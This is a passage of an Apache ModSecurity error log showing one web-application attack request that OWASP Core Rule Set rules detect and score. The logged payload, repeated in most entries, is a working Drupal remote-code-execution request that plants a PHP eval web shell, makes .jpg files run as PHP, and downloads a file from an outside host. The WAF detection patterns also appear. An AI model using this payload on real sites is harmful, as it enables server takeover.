echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; ec..."] [severit [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754116 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "159"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [t [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754183 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754261 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "295"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754383 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754503 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754607 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase "$_POST" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "161"] [id "933130"] [msg "PHP Injection Attack: Variables Found"] [data "Matched Data: $_POST found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754745 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "349"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-mul [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.754854 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: eval( found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.756418 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 50)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.764478 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 50 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=30,PHPI=15,HTTP=0,SESS=0): individual paranoia level scores: 50, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXmziSeFVxYLkcq6IbqgAAAAc"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:51.826112 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:51.874352 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:37108] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:52.021079 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:37114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:52.307843 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
